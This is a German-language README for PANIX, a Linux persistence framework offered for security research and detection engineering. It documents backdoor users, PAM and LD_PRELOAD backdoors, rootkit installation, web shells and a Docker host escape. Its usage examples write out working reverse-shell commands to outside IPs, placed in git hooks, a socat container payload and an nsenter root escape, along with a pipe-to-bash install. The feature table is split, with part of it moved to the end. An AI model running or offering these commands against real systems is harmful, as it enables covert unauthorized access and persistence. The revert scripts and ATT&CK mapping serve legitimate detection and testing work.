
Anpassbares Linux-Persistenz-Tool für Sicherheitsforschung und Detection Engineering.

PANIX ist ein leistungsstarkes, modulares und hochgradig anpassbares Linux-Persistenz-Framework, das für Sicherheitsforscher, Detection-Engineers, Penetrationstester, CTF-Enthusiasten und mehr entwickelt wurde. Entwickelt mit Blick auf Vielseitigkeit, legt PANIX den Schwerpunkt auf Funktionalität und ist damit ein unverzichtbares Werkzeug zum Verständnis und zur Implementierung einer breiten Palette von Persistenzechniken.

PANIX bietet eine vielseitige Suite von Funktionen zur Simulation und Erforschung von Linux-Persistenzmechanismen.
| Funktion | Beschreibung | Root | Benutzer |
|---|---|---|---|
| At-Job-Persistenz | Implementiert Persistenz, indem Einträge zu System-Jobs hinzugefügt werden. | ✅ | ✅ |
| Autorisierte Schlüssel | Fügt einen öffentlichen Schlüssel zur Datei authorized_keys für SSH-Zugriff hinzu. | ✅ | ✅ |
| Backdoor-Benutzer | Erstellt einen Backdoor-Benutzer mit UID=0 (Root-Rechte). | ✅ | ❌ |
| Backdoor-Systembenutzer | Hinterlegt einen Backdoor-Systembenutzer (SSH-Zugriff auf news/nobody). | ✅ | ❌ |
| Backdoor in /etc/passwd | Fügt direkt einen bösartigen Benutzereintrag zu /etc/passwd hinzu. | ✅ | ❌ |
| Backdoor in /etc/init.d | Etabliert Persistenz über SysVinit (/etc/init.d). | ✅ | ❌ |
| Backdoor in /etc/rc.local | Etabliert Persistenz über Runlevel-Skripte (/etc/rc.local). | ✅ | ❌ |
| Bind-Shell | Führt eine vorkompilierte/LOLBin-Bind-Shell für den Remote-Zugriff aus. | ✅ | ✅ |
| Capabilities-Backdoor | Fügt Binaries spezifische Capabilities hinzu, um Persistenz aufrechtzuerhalten. | ✅ | ❌ |
| Cron-Job-Persistenz | Richtet Cron-Jobs ein, um Persistenz über Neustarts hinweg sicherzustellen. | ✅ | ✅ |
| Benutzer erstellen | Erstellt ein neues Benutzerkonto auf dem System. | ✅ | ❌ |
| D-Bus-Backdoor | Erstellt einen D-Bus-Dienst für Root-Reverse-Shell-Zugriff. | ✅ | ❌ |
| Diamorphine-Rootkit | Installiert das Diamorphine Loadable Kernel Module Rootkit. | ✅ | ❌ |
| Initramfs-Persistenz | Injiziert einen Backdoor-Benutzer mit UID=0 in die Initramfs beim Neustart. | ✅ | ❌ |
| Git-Persistenz | Nutzt Git-Hooks oder Pager, um innerhalb von Git-Repositories zu persistieren. |

PANIX bietet umfassende Unterstützung für verschiedene Linux-Distributionen.
Benutzerdefinierte oder veraltete Linux-Distributionen können andere Konfigurationen aufweisen oder über bestimmte Funktionen nicht verfügen, wodurch Mechanismen auf ungetesteten Versionen fehlschlagen können. Wenn ein Standardbefehl fehlschlägt, verwenden Sie das in den meisten Funktionen verfügbare Flag --custom, um Pfade und Befehle an Ihre Umgebung anzupassen. Überprüfen und modifizieren Sie das Skript, um es an Ihre Bedürfnisse anzupassen, falls das das Problem nicht behebt.
Beiträge über Pull Requests oder Issues für neue Funktionen, Updates oder Ideen sind immer willkommen!

Das PANIX-Repository ist auf Modularität, Wartbarkeit und einfache Erweiterbarkeit ausgelegt. Jeder Persistenzmechanismus enthält Setup- und Revert-Skripte, was Verwaltung und Entfernung vereinfacht.```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## Hauptvorteile
- **Gekoppeltes Setup & Zurücksetzen**: Jedes `setup_*.sh` hat ein entsprechendes `revert_*.sh`, was das einfache Entfernen von Persistenzmechanismen gewährleistet.
- **Modulares Design**: Ändern Sie problemlos bestehende Module oder fügen Sie neue hinzu, ohne das Kernskript zu beeinträchtigen.
- **Einfache Erweiterung**: Um neue Funktionen hinzuzufügen:
1. Erstellen Sie ein neues `setup_*.sh` in `modules/`.
2. Fügen Sie ein entsprechendes `revert_*.sh` in `modules/revert/` hinzu.
3. Aktualisieren Sie `main.sh`, um die neuen Skripte aufzunehmen.
4. Aktualisieren Sie `common.sh`, um das Modul in das Hilfemenü aufzunehmen.
4. Führen Sie `build.sh` aus, um das aktualisierte `panix.sh` zu generieren.

# Erste Schritte
Um PANIX zum Laufen zu bringen, laden Sie das Skript einfach von der [Release-Seite](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0) herunter und führen Sie es aus:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
Oder laden Sie es herunter und führen Sie es manuell aus:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
Beim Ausführen des Skripts wird je nach den Privilegien des aktuellen Benutzers entweder das `root`- oder das `user`-Hilfsmenü angezeigt.```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

Das Skript sollte weitgehend selbsterklärend sein, dieser Abschnitt zeigt jedoch einige Beispiele, wie man mit PANIX arbeitet.
Jeder Persistenzmechanismus hat ein eigenes Hilfemenü:``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
Jeder Persistenzmechanismus hat auch ein `--examples`-Flag, das Standard- und benutzerdefinierte Beispiele anzeigt und dabei hilft, den Befehl zu erstellen, der für Sie funktioniert.```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
Die meisten Persistenzmechanismen sind sehr einfach und bedürfen (hoffentlich) nicht viel Erklärung. Beispielsweise lässt sich die systemd-Persistenz einfach durch Ausführen von Folgendem einrichten:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
Wenn ein Persistenzmechanismus eingerichtet wird, lässt dich das Skript wissen, ob es funktioniert hat, und in Fällen, in denen Informationen benötigt werden, um mit dem Persistenzmechanismus zu arbeiten, werden zusätzliche Informationen bereitgestellt. Zum Beispiel der Bind-Shell-Mechanismus:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
Damit können Sie mit der Bind-Shell interagieren:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
Dasselbe gilt für Mechanismen mit zusätzlichen integrierten Funktionen, wie etwa den Docker-Persistenzmechanismus mit integriertem Root-Host-Escape:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
Was Ihnen genau zeigt, wie Sie den Container verlassen und Zugriff auf den Host erhalten.``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## Revert-Mechanismus
PANIX kann mit dem `--revert`-Befehl sein Chaos beseitigen. Beides für separate Module:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
Und für alle Module:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## MITRE ATT&CK Matrix
PANIX verfügt über eine integrierte MITRE ATT&CK-Matrix, die die verfügbaren Techniken und Untertechniken anzeigt.```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

Publikationen, in denen PANIX verwendet wird:
Schaut gerne in meinen sozialen Netzwerken vorbei, um Updates zur (Linux-)Sicherheitsforschung zu erhalten.

Indem du PANIX teilst, kannst du anderen helfen, ihre Sicherheitslage zu testen und zu verbessern und die Entwicklung neuer Erkennungsmöglichkeiten in der Linux-Sicherheit zu unterstützen.

PANIX ist ausschließlich für autorisierte Sicherheitstests und Forschungszwecke gedacht. Eine missbräuchliche Verwendung dieses Tools für schädliche Aktivitäten wird nicht geduldet und erfolgt vollständig auf eigenes Risiko des Benutzers. Durch die Nutzung von PANIX erklärst du dich damit einverstanden, dass du für deine eigenen Handlungen verantwortlich bist. Mach einfach keinen Blödsinn.
| ✅ |
| ✅ |
| Generator-Persistenz | Nutzt systemd-Generatoren, um persistente Dienste zu erstellen. | ✅ | ❌ |
| GRUB-Backdoor | Manipuliert GRUB, um beim Booten eine Backdoor auszuführen. | ✅ | ❌ |
| Bösartiger Container | Stellt einen Docker-Container bereit, der für den Host-Escape entwickelt wurde. | ✅ | ✅ |
| Bösartiges Paket | Installiert ein DPKG/RPM-Paket, um Persistenz zu erreichen. | ✅ | ❌ |
| NetworkManager | Installiert ein Dispatcher-Skript, um bei Netzwerkaktionen zu persistieren. | ✅ | ❌ |
| LD_PRELOAD-Backdoor | Verwendet LD_PRELOAD, um bösartige Bibliotheken zur Persistenz zu injizieren. | ✅ | ❌ |
| LKM-Backdoor | Lädt ein Loadable Kernel Module, um Persistenz aufrechtzuerhalten. | ✅ | ❌ |
| MOTD-Backdoor | Verändert die Message of the Day (MOTD), um Persistenz zu etablieren. | ✅ | ❌ |
| Paketmanager | Manipuliert APT/YUM/DNF, um bei Nutzung Persistenz zu etablieren. | ✅ | ❌ |
| PAM-Persistenz | Installiert eine PAM-Backdoor mithilfe eines Schurkenmoduls oder pam_exec. | ✅ | ❌ |
| Passwortänderung | Ändert Benutzerpasswörter, um Backdoor-Konten zu sichern. | ✅ | ❌ |
| Polkit-Backdoor | Erstellt eine übermäßig permissive Polkit-Konfigurations-Backdoor. | ✅ | ❌ |
| Reverse-Shell | Etabliert eine Reverse-Shell (unterstützt mehrere LOLBins). | ✅ | ✅ |
| Shell-Profil-Persistenz | Modifiziert Shell-Profile, um Skripte bei Benutzeranmeldung auszuführen. | ✅ | ✅ |
| SSH-Schlüssel-Persistenz | Manipuliert SSH-Schlüssel, um dauerhaften Zugriff über SSH aufrechtzuerhalten. | ✅ | ✅ |
| Sudoers-Backdoor | Ändert die Datei /etc/sudoers, um erhöhte Rechte zu gewähren. | ✅ | ❌ |
| SUID-Backdoor | Hinterlegt Backdoors in Binaries durch Setzen des SUID-Bits. | ✅ | ❌ |
| System-Binary-Backdoor | Umschließt System-Binaries, um Backdoor-Funktionalität einzuschließen. | ✅ | ❌ |
| Systemd-Dienst | Erstellt systemd-Dienste, die Persistenz beim Neustart sicherstellen. | ✅ | ✅ |
| Udev-Persistenz | Nutzt Treiber, um auf der Hardware-Interaktionsebene zu persistieren. | ✅ | ❌ |
| Web-Shell-Persistenz | Stellt Webserver für den Remote-Zugriff über Webschnittstellen bereit. | ✅ | ✅ |
| XDG-Autostart | Verwendet XDG-Autostart-Verzeichnisse, um bei Benutzeranmeldung zu persistieren. | ✅ | ✅ |
| Distribution | Unterstützung | Getestete Version |
|---|
| Debian | ✅ | Debian 11 & 12 |
| Ubuntu | ✅ | Ubuntu 22.04 (Diamorphine nicht verfügbar) |
| RHEL | ✅ | RHEL 9 (MOTD- und Pre-OS-Boot-Techniken nicht verfügbar) |
| CentOS | ✅ | CentOS Stream 9 & 7 (MOTD- und Pre-OS-Boot-Techniken nicht verfügbar) |
| Fedora | ✅ | Nicht vollständig getestet |
| Arch Linux | ✅ | Nicht vollständig getestet |
| OpenSUSE | ✅ | Nicht vollständig getestet |